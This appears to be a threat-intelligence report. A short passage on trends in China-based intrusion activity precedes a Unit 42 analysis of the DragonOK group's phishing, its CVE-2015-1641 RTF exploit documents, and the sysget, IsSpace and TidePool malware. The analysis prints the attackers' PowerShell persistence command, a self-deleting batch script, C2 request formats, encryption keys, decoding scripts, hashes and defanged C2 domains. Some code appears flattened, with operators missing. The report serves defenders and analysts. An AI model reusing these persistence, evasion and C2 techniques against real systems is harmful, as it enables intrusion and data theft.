Occasionally, aligned interests between two types of groups may drive activity that blurs the lines between direct government sponsorship and independent action.
For example, during territorial disputes, patriotic hackers may conduct targeting activity that is indistinguishable from that of government forces.
As a result, it is often difficult to determine the extent to which activity is directed by the Chinese Government.
The variety of changes (or lack of change) observed in recent years across the groups we track demonstrates the range of state direction and support that they most likely receive.
While this report discusses the likely impact of political, economic, and other forces on Chinese cyber activity as a whole, the extent to which specific groups altered their activity in response to certain factors, such as the Chinese Governments efforts to restructure its cyber forces, likely varies depending on how directly the groups are aligned with the Chinese Government.
Despite an overall decline in China-based threat activity, multiple groups actively conduct network intrusions, while others continue to compromise servers to use as infra- structure in preparation for future network intrusion op- erations.
We have noted some changes in tactics among the groups that we track, but have not seen evidence of coordinated, widespread shifts in how these groups oper- ate.
Changes in operations are more likely to be driven by individual groups specific circumstances, resources, and needs.
For example: From mid-2014 through June 2016, a group did not make any changes to the tools and infrastructure that it used to compromise chemical companies in Germany, Japan, and the U.S. From 2009 until 2014, a group relied heavily on the same set of tools to compromise victims in multiple industries.
Then in late 2014, a report exposing one of its most commonly used tools likely prompted the group to develop and use replacements, including those that incorporated anti-detection techniques.
While the group replaced many of its tools, the actors still use some of those that had been exposed.
A group that breached multiple victims in the U.S. through 2014 appears to have discontinued operations against organizations in the U.S., while continuing to compromise U.S.-based servers, presumably for use as infrastructure in carrying out other operations.
Between 2015 and March 2016, the group has compro- mised organizations in in Taiwan, India, and Japan.
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By Josh Grunzweig 1/5/2017 DragonOK Updates Toolset and Targets Multiple Geographic Regions researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/ The DragonOK group has been actively launching attacks for years.
We first discussed them in April 2015 when we witnessed them targeting a number of organizations in Japan.
In recent months, Unit 42 has observed a number of attacks that we attribute to this group.
Multiple new variants of the previously discussed sysget malware family have been observed in use by DragonOK.
Sysget malware was delivered both directly via phishing emails, as well as in Rich Text Format (RTF) documents exploiting the CVE-2015-1641 vulnerability (patched in MS15-033) that in turn leveraged a very unique shellcode.
Additionally, we have observed instances of the IsSpace and TidePool malware families being delivered via the same techniques.
While Japan is still the most heavily targeted geographic region by this particular actor, we also observed instances where individuals or organizations in Taiwan, Tibet, and Russia also may have been targeted.
Infiltration We observed two unique techniques of infiltration for this particular campaign: 1.
Phishing emails being sent with malicious executables directly attached 2.
Malicious RTF files which exploit CVE-2015-1641.
The phishing emails had the following characteristics: Email Subjects Pickup at the Juanda Airport (1-Sep) [Roughly Translated: Point gift announcement] 20 [Roughly Translated: 20th Anniversary Party] 10 [Roughly Translated: List of participants 10th anniversary alumni association] [Roughly Translated: Childrens investigation] G20 report [Roughly Translated: Anniversary reunion] [Roughly Translated: Recent personnel change notice] Attachment Filenames G20 report.exe exe List of Participants.exe Registration form.exe These emails targeted the following industries in Japan: Manufacturing 1/23 http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/ http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/ https://en.wikipedia.org/wiki/Rich_Text_Format https://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1641 http://technet.microsoft.com/security/bulletin/MS15-033 http://researchcenter.paloaltonetworks.com/2015/07/watering-hole-attack-on-aerospace-firm-exploits-cve-2015-5122-to-install-isspace-backdoor/ http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with-new-tidepool-malware/ https://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1641 https://en.wikipedia.org/wiki/Juanda_International_Airport http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/01/Dragon_1.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/01/Dragon_2.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/01/Dragon_3.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/01/Dragon_4.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/01/Dragon_5.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/01/Dragon_6.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/01/Dragon_7.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/01/Dragon_8.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/01/Dragon_9.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/01/Dragon_10.png Higher Education Energy Technology Semiconductor The malicious RTF files in question leverage a very specific shellcode to drop and execute the malicious payload, as well as a decoy document.
Decoy documents are legitimate benign documents that are opened after the malicious payload is delivered, thus ensuring that the victim does not become suspicious because their expected document opened as expected.
Two samples were found to include the decoy document show in Figure 1.
The title of the document roughly translates to Ministry of Communications  Departments Authorities Empty Sites and Hosted Public Works Source Clearance Photos.
The use of traditional Chinese indicators the target likely residing in either Taiwan, Hong Kong, or Macau.
However, based on the Taiwanese subject matter in this document, we can safely come to the conclusion that the intended victim was of Taiwanese origin.
These samples delivered an updated version of the IsSpace malware family, which was discussed previously in a watering hole attack targeting an aerospace firm.
IsSpace is an evolved variant of the NFlog backdoor, which has been used by DragonOK in the past.
2/23 http://researchcenter.paloaltonetworks.com/2015/07/watering-hole-attack-on-aerospace-firm-exploits-cve-2015-5122-to-install-isspace-backdoor/ Figure 1 Taiwanese decoy document 3/23 Two other samples were identified that used a Tibet-themed decoy document.
The document in question (Figure 2) appears to be an internal newsletter from the Central Tibetan Ministry, as suggested by the logo used as well as the content of the document itself.
This document indicates that the malware may have been targeted towards an individual that is interested in Tibetan affairs.
These particular samples were unique in that they delivered the TidePool malware family that we reported on in May of 2016.
We have not previously observed DragonOK using TidePool in attacks.
Figure 2 Tibetan decoy document containing internal newsletter We also identified an additional sample using decoy targeting Taiwanese victims (Figure 3), which deployed a newer sysget sample.
4/23 http://tibet.net/information/ http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with- Figure 3 Taiwanese-targeted decoy document Other new samples associated with this group used a Russian language decoy document (Figure 4.)
The decoy document in question discusses the GOST block cipher, which was created by the Russian government in the 1970s.
The combination of Russian language and Russian-specific subject matter indicates that the intended victim speaks Russian and may be interested in encryption.
Like the previously discussed Tibetan decoy documents, these samples also delivered the TidePool malware family.
5/23 6/23 Figure 4 Russian decoy document discussing the GOST block cipher Finally, multiple samples used a traditional Chinese language decoy document that discussed a subsidy welfare adjustment program.
The use of traditional Chinese indicators the target likely residing in either Taiwan, Hong Kong, or Macau.
Similar to other attacks witnessed, a variant of the sysget malware family is installed by these files.
7/23 Figure 5 Decoy document discussing subsidy welfare adjustment program Malware Deployed In looking at the various malware samples used in attempted attacks, the following four families were identified: Sysget version 2 Sysget version 3 TidePool IsSpace We broke the sysget classification into multiple variants when we found that a number of changes have been made since our April 2015 report.
Major distinctions between the versions of sysget include the following: Sysget version 2 Removed support for persistence on Windows XP Reworked the URIs used for network communication Added additional layers of encryption for network communication and stored configuration files Switched from RC4 to AES-128 Sysget version 3 Numerous anti-debug and anti-vm procedures added Encrypted URIs in network communication with an initial static key In addition, we observed a sysget version 4 that was discovered in another sample during our research.
This version is not attributed to a specific attack against an organization.
Indicators of compromise related to sysget version 4 and other samples not directly attributed to specific attacks may be found in the Appendix of this blog post.
Additionally, more information about the various sysget variants may also be found in the Appendix.
The TidePool samples encountered are consistent with the samples previously discussed.
I encourage readers to view our previous blog post to learn more about the intricacies of this particular malware family.
The IsSpace malware sample, however, looks to have been updated since last we wrote on it.
While the available commands from the command and control (C2) server remains the same, the URI structure of the network communication has been modified.
Additionally, the installation routine for this malware family has been updated to be far less complex than previous discussed versions, favoring PowerShell to set persistence and forgoing the previously used side-loading technique.
A more detailed analysis of the new instances of IsSpace may be found at the end of this blog post in the Appendix.
Infrastructure A number of unique domains were employed by the various Trojans used in these attacks.
For the numerous instances of sysget we observed, the following domains were observed for their C2: kr44.78host[.
]com gtoimage[.
]com 8/23 http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with-new-tidepool-malware/ http://researchcenter.paloaltonetworks.com/2015/07/watering-hole-attack-on-aerospace-firm-exploits-cve-2015-5122-to-install-isspace-backdoor/ gogolekr[.
]com All of the above domains have Chinese WHOIS registrant details.
Additionally, the gotoimage[.
]com and trend.gogolekr[.
]com are both registered to the same registrant and resolve to the same netblock of 104.202.173.0/24.
The instances of TidePool identified communicated with the following C2 servers: europe.wikaba[.
]com russiaboy.ssl443[.
]org cool.skywave[.
]top These domains did not have many definitive relations with the sysget C2 servers except for cool.skywave[.
]top, which shared a unique registrant email with the sysget C2 server of trend.gogolekr[.
]com.
Additionally, the geographic region of the resolved IPs was consistent with the previous set, as they all resolved to various regions in southeast Asia.
Specifically, the domains resolved to China, Korea, and Taiwan in the past six months.
The IsSpace samples resolved to the following domains: www.dppline[.
]org www.matrens[.
]top These domains had no apparent connections to the previously discussed C2 servers, other than the fact that they resolved to Korea and Hong Kong respectively.
Additionally, the registrar of Jiangsu Bangning Science and technology Co. Ltd. was used for a large number of domains.
A full graph of the relations between the various attacks is shown in Figure 6.
Figure 6 Relationships between attacks 9/23 Conclusion The DragonOK group are quite active and continue updating their tools and tactics.
Their toolset is being actively developed to make detection and analysis more difficult.
Additionally, they appear to be using additional malware toolsets such as TidePool.
While Japan is still the most-targeted region by this group, they look to be seeking out victims in other regions as well, such as Taiwan, Tibet, and Russia.
Palo Alto Network customers are protected against this threat in the following ways: Malware families are tagged in AutoFocus via a variety of tags ( TidePool, NFlog, Sysget) The following IPS signatures detect malicious network traffic: IPS signature 14365 (IsSpace.
Gen Command And Control Traffic) IPS signature 14588 (Suspicious.
Gen Command And Control Traffic) IPS signature 13574 (NfLog.
Gen Command And Control Traffic) IPS signature 13359 (Nflog.
Gen Command And Control Traffic) All samples are appropriately marked malicious in WildFire Appendix CVE-2015-1641 Exploit and Shellcode This particular group uses a very specific shellcode payload when exploiting CVE-2015-1641.
This CVE is memory corruption vulnerability which allows for arbitrary code execution in various versions of Microsoft Office, including 2007, 2010, and 2013.
The shellcode begins by dynamically loading a small number of API functions from kernel32.
A number of hashes are included that represent function names, which have a rotate right 7 (ROR7) operation applied against them before being XORed against a key of \x10\xAD\xBE\xEF.
The ROR7 operation is a very common technique in shellcode to obfuscate what functions are being called.
The author added the XOR operation to add another layer of obfuscation.
Figure 7 API function hashes contained in shellcode 10/23 https://autofocus.paloaltonetworks.com//tag/Unit42.Tidepool https://autofocus.paloaltonetworks.com//tag/Unit42.NFlog https://autofocus.paloaltonetworks.com//tag/Unit42.Sysget After the shellcode loads the necessary API functions, it proceeds to seek out a number of markers that will mark the beginning and ending of both an embedded malicious payload, as well as a decoy document.
The malicious executable is marked with a starting point of 0xBABABABABABA and an end marker of 0xBBBBBBBB.
The decoy document is found immediately after the end of the malicious payload, and has an end marker of 0xBCBCBCBC.
Both executables are encrypted with a 4-byte XOR key.
Should the original data contain 0x00000000, it will not have the XOR applied against it.
The malicious payload is XORed against a key of 0xCAFEBEEF and the decoy document is XORed against 0xBAADF00D.
The following script may be applied against the RTF document to extract both the malicious payload and the decoy: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import sys, binascii from itertools import cycle, izip import re def xor(message, key): return .join(chr(ord(c)ord(k)) for c,k in izip(message, cycle(key))) def decrypt(data, key): output iteration  4 position  0 while True: window  data[position:positioniteration] if window  \x00\x00\x00\x00: output  window else: output  xor(window, key) position  iteration if position  len(data) or position  len(data): break return output def extract(data): exe_data, doc_data  None, None exe_starting_point  data.index(\xBA\xBA\xBA\xBA\xBA\xBA)  6 exe_ending_point  None ending_points  [m.start() for m in re.finditer(\xBB\xBB\xBB\xBB, data)] for e in ending_points: if e  exe_starting_point: exe_ending_point  e if exe_starting_point and exe_ending_point: mz_data  data[exe_starting_point:exe_ending_point] exe_data  decrypt(mz_data, \xBE\xBA\xFE\xCA) else: raise Exception(Unable to find correct offsets for executable. )
doc_starting_point  exe_ending_point  4 doc_ending_point  None ending_points  [m.start() for m in re.finditer(\xBC\xBC\xBC\xBC, data)] for e in ending_points: if e  doc_starting_point: doc_ending_point  e if doc_starting_point and doc_ending_point: 11/23 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 doc  data[doc_starting_point:doc_ending_point] doc_data  decrypt(doc, \x0D\xF0\xAD\xBA) else: raise Exception(Unable to find correct offsets for document.)
return [exe_data, doc_data] def main(): input_file  sys.argv[1] input_fh  open(input_file, rb) input_data  input_fh.read() input_fh.close() exe, doc  extract(input_data) filename  .exe.format(input_file) output_file  open(filename, wb) output_file.write(exe) output_file.close() print [] Wrote .format(filename) filename  .doc.format(input_file) output_file  open(filename, wb) output_file.write(doc) output_file.close() print [] Wrote .format(filename) if len(sys.argv)  2 and __name__  __main__: main() When both files are decrypted, they are written to the following location in the TEMP directory: ../..exe ../..doc Note the initial .., which represents the parent directory of TEMP.
This coupled with the unusual names of ..exe and ..doc make this particular shellcode very unique, which is one way we have attributed these samples to the same group.
After the samples have been written, they are executed via calls to WinExec.
Sysget v2 Analysis One of the fundamental changes witnessed in the second iteration of sysget is removing support for Windows XP and lower.
Other changes include modifications to the URIs used for network communication.
Like the original version of sysget, sysget v2 still uses a named event of mcsong[] to ensure a single instance is running at a time.
It proceeds to make attempts at copying itself to the STARTUP/notilv.exe path.
However, it uses COM objects to perform this action that is not available in Windows XP, which prevents the malware from installing itself to this location.
While the remainder of the malware operates as expected, it will not survive a restart of the system.
Sysget proceeds to make an attempt at reading the following configuration file.
This filename and path has changed since the original version, and is consistent in the subsequent versions.
APPDATA/vklCen5.tmp This configuration file holds both a unique victim identifier, as well as a key that is used to encrypt HTTP traffic.
It is 12/23 encrypted using the AES-128 encryption algorithm, using a static key of 734thfg9ih.
Using AES-128 is a change from the previous version, where RC4 was used for all encryption operations.
The following Python code may be used to decrypt this file: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import sys import base64 from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptDecrypt def decrypt(data, original_key): CALG_AES_128  0x660E CALG_MD5  0x8003 md5_hasher  CryptCreateHash(CALG_MD5) CryptHashData(md5_hasher, original_key) key  CryptDeriveKey(md5_hasher, CALG_AES_128) decrypted_data  CryptDecrypt(key, data) return decrypted_data arg  open(sys.argv[1], rb).read() print repr(decrypt(arg, 734thfg9ih)) When executed against an example configuration file, we see the following output, which includes the two pieces of data noted previously: 1 2 3 4 C:\python decrypt_config.py vklCen5.tmp gh1443717133\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x001059086204\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 The encryption of this configuration file is a new feature that was not present in the original version of sysget.
If this file is not present on the system, the malware will attempt to retrieve the necessary information via a HTTP request.
The following request is made to the remote command and control server.
Note that the full URI is statically set by the malware sample.
1 2 3 4 5 6 GET /index.php?typereadid1420efbd80ce02328663631c8d8f813cpageinfojplang utf-8 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 Host: hello.newtaiwan[.
]top The server responds with the following data, encrypted using the same technique previously described with a static key of aliado75496.
Once decrypted, we see the following example data being sent back to sysget: gh1443717133\n1059086204\n The first string is used as a key for all subsequent network communication.
The second string is treated as a unique victim identifier.
This data is encrypted using the key of 734thfg9ih and written to the APPDATA/vklCen5.tmp file.
After this information has been obtained, the malware proceeds to enter its command and control loop.
An HTTP request such as the following is made to the remote server.
Note that the mid GET variable holds the MD5 hash of the previously obtained victim identifier.
The remaining data in the URI is hardcoded.
13/23 1 2 3 4 5 GET /index.php?typegetpageinfobridge03443langjpmid5717cb8fed2750a2ee9e8 30a30716ed4 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 Host: hello.newtaiwan[.
]top The response is encrypted using the unique key that was obtained previously.
Should the response contain Fatal error unencrypted, no further actions are taken by the malware sample.
Once decrypted, the response may have one of the following two choices, and their accompanying purpose.
Alternatively, if a raw command is provided, the malware will execute it and return the results.
Command Description goto wrong [file_path]\n Read a specific file and return its contents.
goto right [filename] [identifier] Write a given file.
The identifier is used to retrieve the files contents in a subsequent HTTP request.
When the goto wrong request is made, a HTTP POST request is made to the following URI.
In the following URI, the list parameter contains the MD5 hash of the victims identifier.
/index.php?typeregisterpageinfomyid32987list5717cb8fed2750a2ee9e830a3 0716ed4 The contents of this POST request contains the victims identifier, as well as the files contents encrypted with the unique key.
The first 50 bytes are reserved for the victim identifier, as shown below: 1 2 3 4 0000016F  35 37 31 37 63 62 38 66  65 64 32 37 35 30 61 32 5717cb8f ed2750a2 0000017F  65 65 39 65 38 33 30 61  33 30 37 31 36 65 64 34 ee9e830a 30716ed4 0000018F  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........ 0000019F  00 00 4b 59 bc 53 53 99  2b 6f a7 b5 5a 85 c7 66 ..KY.SS.
o..Z..f Once decrypted, the data contains both the filename, as well as the contents of that file.
1 2 test.txt\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[TRUNCATED]\x 00\x00\x00file contents If the goto right command is used, the malware will make a subsequent request to the following URI.
The cache variable holds the unique identifier that was provided in the goto right command.
/index.php?typegotopageinfomyid47386cacheidentifier Once the file contents are obtained, they are written to the specified filename in the STARTUP folder.
When a raw command is received, the malware will upload the results to the following URI via a POST request: /index.php?typeregister An overview of the network communications exhibited by sysget version 2 can be seen in the figure below.
14/23 15/23 Figure 8 Sysget version 2 command and control flow Sysget v3 Analysis Some of the biggest changes witnessed in version 3 of sysget includes numerous anti-debug and anti-vm detections added, as well as the encryption of the URIs used for network communication.
When the malware initially executes, it performs the following checks to ensure it is not being debugged and not running in a sandbox or virtualized environment.
Should these checks return false, the malware proceeds to enter its installation routine.
The malware originally copies itself to a temp file in the TEMP directory with a filename prefix of 00.
It proceeds to append 4194304 bytes of randomly chosen data to the end of this file.
The increased filesize may have been added by the author in an attempt to thwart sandboxes that impose filesize limits on what is saved and/or processed.
Finally, the malware copies the original file from the tmp path to the STARTUP/winlogon.exe path using the same technique witnessed in version 2.
Sysget then writes a batch script in the TEMP folder with the following contents, cleaning up the original files and spawning the newly written winlogon.exe executable: 1 2 3 4 5 6 7 8 9 10 echo off :t timeout 1 for /f i in (tasklist /FI IMAGENAME eq [original_executable_name]  find /v /c   ) do set YOi if YO4 goto :t del /F [original_executable_path] del /F [tmp_file] start /B cmd /c [startup_winlogon.exe] del /F [self] exit After installation, sysget will attempt to read the same APPDATA/vklCen5.tmp file as witnessed in the previous variant.
A number of strings within the malware, including the 734thfg9ih key used to encrypt this file, have been obfuscated via a single-byte XOR of 0x5F.
Similar to previous versions, should this vklCen5.tmp file not be present on the victim machine, it will make an external HTTP request to retrieve the necessary information.
The following request is made by the malware.
Readers will notice that the URI has changed from previous versions in a number of ways.
This version of sysget looks to always make requests to 1.php, which is hardcoded within the malware itself.
Additionally, all HTTP URIs in this version of sysget are encrypted.
The initial GET request made to retrieve the victim identifier and unique key is encrypted with a key of Crahello-12sW.
The subsequent response containing this information is then decrypted using a key of aliado75496, which is consistent with previous versions.
16/23 1 2 3 4 5 6 7 8 GET /1.php?K50lkzq7OtigRtWY7Z5DwkmxRhFd5n3UXyHFlfa0S8f5h3nl6XBDMa6a3IbDiPQqW SwZh7lQRmIPLlC8Wmfr8cGv7raGEV160r73FJjnOfyJPLEKWAIyJnfPZhHdGapA6tfwfwj24TN 4QbBrMJkVCLPPZoI4HNtdDEo6G3ujjyvkpWnGQnRBi6DzylNrMypV/K6Ft32dsMmmO52q4IdQ HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 Host: gtoimage.com When the URI above is base64-decoded and subsequently decrypted, we see the following: index.php?typereadid692fdc3c7b2c310fc017e4af335b8dc8pageinfojplangutf-8 This URI is consistent with the previous sysget variant.
It would seem the authors simply have added this layer of encryption to hinder efforts to block the malware via network-based detections.
After this initial request to retrieve the victim identifier and unique key, sysget enters its command and control loop.
This process is consistent with the previous version, but simply has the extra layer of encryption used for the URIs.
Sysget v4 Analysis The fourth variant of sysget is nearly identical to the third variant.
However, the main difference lies in the URIs used for network communication.
In addition to the expected encryption of the URIs, this variant also mangles the base64 encoding that is performed afterwards.
The following Python script may be used to de-obfuscate the base64 URI found in this variant: 17/23 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import base64  URI Request: GET /5.php?62H72xihwn4LqfdOqTV4W2AthjuOeCa2k0RUvE7CicXxN2MWFre2pqH8gIdMMJQbzS0 AMorT4GGalhcebmCbjdrjZlyDhmUjE7QO5mIXZTAucGt3LeLXxOxGiV1G4zecHSPAX3AiAeR BGFsc3wtMhOWzXfithXYeCKnjh1O7pXsYqyKqflHpVzs4YXZbUQYBNEnr/77jW5JTLNI4aed 99 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 Host: www.sanseitime.com  uri_string 62H72xihwn4LqfdOqTV4W2AthjuOeCa2k0RUvE7CicXxN2MWFre2pqH8gIdMMJQbzS0AMorT 4GGalhcebmCbjdrjZlyDhmUjE7QO5mIXZTAucGt3LeLXxOxGiV1G4zecHSPAX3AiAeRBGFsc3 wtMhOWzXfithXYeCKnjh1O7pXsYqyKqflHpVzs4YXZbUQYBNEnr/77jW5JTLNI4aed99 b64_string ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/ prefix_int  int(uri_string[0:2]) out for u in uri_string[2:]: ind  b64_string.index(u) - prefix_int out  b64_string[ind] decoded  base64.b64decode(out) Additionally, the C2 URI changes in this variant, from 1.php to 5.php IsSpace Analysis When initially run, IsSpace will create a unique event to ensure a single instance of the malware is running at a given time.
This event name appears to be unique per the sample, as multiple samples contained unique event names.
The following event names have been observed in the samples that were analyzed: e6al69MS5iP v485ILa3q5z IsSpace proceeds to iterate over the running processes on the system, seeking out the following two process substrings: uiSeAgnt avp.exe The uiSeAgnt string may be related to Trend Micros solutions, while avp.exe most likely is related to Kasperskys anti-malware product.
In the event uiSeAgnt is identified, the malware will enter its installation routine if not already running as bfsuc.exe and proceeds to exit afterwards.
Should avp.exe be identified, the malware enters an infinite sleep loop until a mouse click occurs.
After this takes place, the malware proceeds as normal.
18/23 The malware then determines if it is running under Windows XP.
In the event that it is, it will make a HTTP GET request to www.bing.com, presumably to ensure network connectivity.
Figure 9 IsSpace connecting to www.bing.com If the malware is not running on Windows XP, it will attempt to obtain and decrypt any basic authentication credentials from Internet Explorer.
This information is used in subsequent HTTP requests in the event a 407 (Proxy Authentication Required) or 401 (Unauthorized) response code is received during network communication.
IsSpace will then enter its installation routine, where it will first copy itself to the LOCALAPPDATA folder with a name of bfsuc.exe.
It then sets the proper registry key for persistence by executing the following PowerShell command: 1 2 3 4 C:\Windows\system32\cmd.exe /C Powershell.exe New-ItemProperty -Path HKCU:SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run -Name Identity - PropertyType String -Value c:\users\josh grunzweig\appdata\local\bfsuc.exe -force The malware then makes an initial HTTP POST request to the configured C2 server.
It will make this request to the /news/Senmsip.asp URI.
The POST data is XORed against a key of \x35\x8E\x9D\x7A, which is consistent with previous versions of IsSpace and NFlog.
Decrypted, the POST data reads 01234567890.
The C2 server in turn will respond with the victims external IP address.
Figure 10 Initial IsSpace beacon IsSpace then spawns two threads that will make HTTP requests to the following URIs: /news/Sennw.asp?rsv_info[MAC_ADDRESS] /news/Sentire.asp?rsv_info[MAC_ADDRESS] The Sennw.asp POST requests that are made contain collected victim information.
They, like other information sent across the network, are encrypted using the previously mentioned 4-byte XOR key.
When decrypted, we are provided with information such as the following: 19/23 1 2 3 60-F8-1D-CC-2F-CF172.16.95.1172.16.95.186WIN- LJLV2NKIOKPWin7English(US)2016-12-20 16:27:12Activexp20160628IsAdminsFalse The information, delimited via , is as follows: Value Description 60-F8-1D-CC-2F-CF MAC address 172.16.95.1 External IP collected previously 172.16.95.186 Internal IP address WIN-LJLV2NKIOKP Hostname Win7 Windows version English(US) Language 2016-12-20 16:27:12 Timestamp Active Malware status.
May also be Sleep xp20160628 Potential campaign identifier IsAdmins / False User admin status The malware is expected to return one of the following two responses to this HTTP request: Active Slient (Note the typo) In the event the response of Slient is received, the malware will stop sending out HTTP requests to the Sentire.asp URI.
Conversely, if the malware is set to the Sleep status and the Active response is received, it will begin the Sentire.asp requests once more.
The requests to Sentire.asp act as the main C2 loop, requesting commands from the remote server.
The commands are consistent with previously observed instances of IsSpace, however, the URIs have been modified.
Command Description Response URI CMD Executes command Sentrl.asp Browse List specified directory Senjb.asp UploadFile Upload file Sensp.asp DownLoad Download file Senwhr.asp 20/23 DelFile Delete file N/A DragonOK Indicators Malicious RTF Documents 020f5692b9989080b328833260e31df7aa4d58c138384262b9d7fb6d221e3673 0d389a7b7dbdfdffcc9b503d0eaf3699f94d7a3135e46c65a4fa0f79ea263b40 52985c6369571793bc547fc9443a96166e372d0960267df298221cd841b69545 785398fedd12935e0ae5ac9c1d188f4868b2dc19fb4c2a13dab0887b8b3e220d 941bcf18f7e841ea35778c971fc968317bee09f93ed314ce40815356a303a3ec ba6f3581c5bcdbe7f23de2d8034aaf2f6dc0e67ff2cfe6e53cfb4d2007547b30 df9f33892e476458c74a571a9541aebe8f8d18b16278f594a6723f813a147552 925880cc833228999ea06bd37dd2073784ab234ea00c5c4d55f130fe43a0940b 3e4937d06ac86078f96f07117861c734a5fdb5ea307fe7e19ef6458f91c14264 16204cec5731f64be03ea766b75b8997aad14d4eb61b7248aa35fa6b1873398b 64f22de7a1e2726a2c649de133fad2c6ad089236db1006ce3d247c39ee40f578 c3b5503a0a89fd2eae9a77ff92eef69f08d68b963140b0a31721bb4960545e07 d227cf53b29bf0a286e9c4a1e84a7d70b63a3c0ea81a6483fdfabd8fbccd5206 9190b1d3383c68bd0153c926e0ff3716b714eac81f6d125254054b277e3451fe d321c8005be96a13affeb997b881eaba3e70167a7f0aa5d68eeb4d84520cca02 d38de4250761cb877dfec40344c1642542ca41331af50fa914a9597f8cc0ee9b 5a94e5736ead7ea46dbc95f11a3ca10ae86c8ae381d813975d71feddf14fc07a bbdc9f02e7844817def006b9bdef1698412efb6e66346454307681134046e595 IsSpace 12d88fbd4960b7caf8d1a4b96868138e67db40d8642a4c21c0279066aae2f429 1a6e3cd2394814a72cdf8db55bc3f781f7e1335b31f77bffc1336f0d11cf23d1 C2 Domains www.dppline[.
]org www.matrens[.
]top C2 Domains europe.wikaba[.
]com russiaboy.ssl443[.
]org cool.skywave[.
]top Sysget Version 2 82f028e147471e6f8c8d283dbfaba3f5629eda458d818e1a4ddb8c9337fc0118 C2 Domains newtw2016.kr44.78host[.
]com Sysget Version 3 02fc713c1b2c607dff4fc6c4797b39e42ee576578f6af97295495b9b172158b9 a0b0a49da119d971fa3cf2f5647ccc9fe7e1ff989ac31dfb4543f0cb269ed105 21/23 b49cb2c51bc2cc5e48585b9b0f7dd7ff2599a086a4219708b102890ab3f4daf3 b8f9c1766ccd4557383b6643b060c15545e5f657d87d82310ed1989679dcfac4 d75433833a3a4453fe35aaf57d8699d90d9c4a933a8457f8cc37c86859f62d1e 685076708ace9fda65845e4cbb673fdd6f11488bf0f6fd5216a18d9eaaea1bbc 7fcc86ebca81deab264418f7ae5017a6f79967ccebe8bc866efa14920e4fd909 c5c3e8caffd1d416c1fd8947e60662d82638a3508dbcf95a6c9a2571263bdcef C2 Domains gtoimage[.
]com trend.gogolekr[.
]com Additional Indicators Sysget Version 2 a768d63f8127a8f87ff7fa8a7e4ca1f7e7a88649fe268cf1bd306be9d8069564 2bf737f147e761586df1c421584dba350fd865cb14113eee084f9d673a61ee67 2c7c9fd09a0a783badfb42a491ccec159207ee7f65444088ba8e7c8e617ab5a5 d91439c8faa0c42162ea9a6d3c282d0e76641a31f5f2fbc58315df9c0b90059c 89d8d52c09dc09aeb41b1e9fafeacf1c038912d8c6b75ad4ef556707b15641ff 6c1d56cb16f6342e01f4ebfc063db2244aef16d0a248332348dcdb31244d32f2 9c66232061fbb08088a3b680b4d0bffbbce1ce01d0ce5f0c4d8bf17f42d45682 b138ea2e9b78568ebd9d71c1eb0e31f9cf8bc41cd5919f6522ef498ffcc8762a 8830400c6a6d956309ac9bcbcceee2d27ba8c89f9d89f4484aba7d5680791459 bda66f13202cef8cfb23f36ac0aee5c23f82930e1f38e81ba807f5c4e46128e3 e8197e711018afd25a32dc364a9155c7e2a0c98b3924dc5f67b8cd2df16406ff e9c0838e2433a86bc2dec56378bd59627d6332ffb1aec252f5117938d00d9f74 c63685b2497e384885e4b4649428d665692e8e6981dad688e8543110174f853b 2c9c2bfea64dd95495703fcec59ad4cf74c43056b40ed96d40db9b919cfd050b 94850525ea9467ae772c657c3b8c72663eaa28b2c995b22a12b09e4cacecad6d e8bd20e3d8491497ca2d6878b41fb7be67abb97ee272ef8b6735faa6acd67777 C2 Domains hello.newtaiwan[.
]top bullskingdom[.
]com mail.googleusa[.
]top www.modelinfos[.
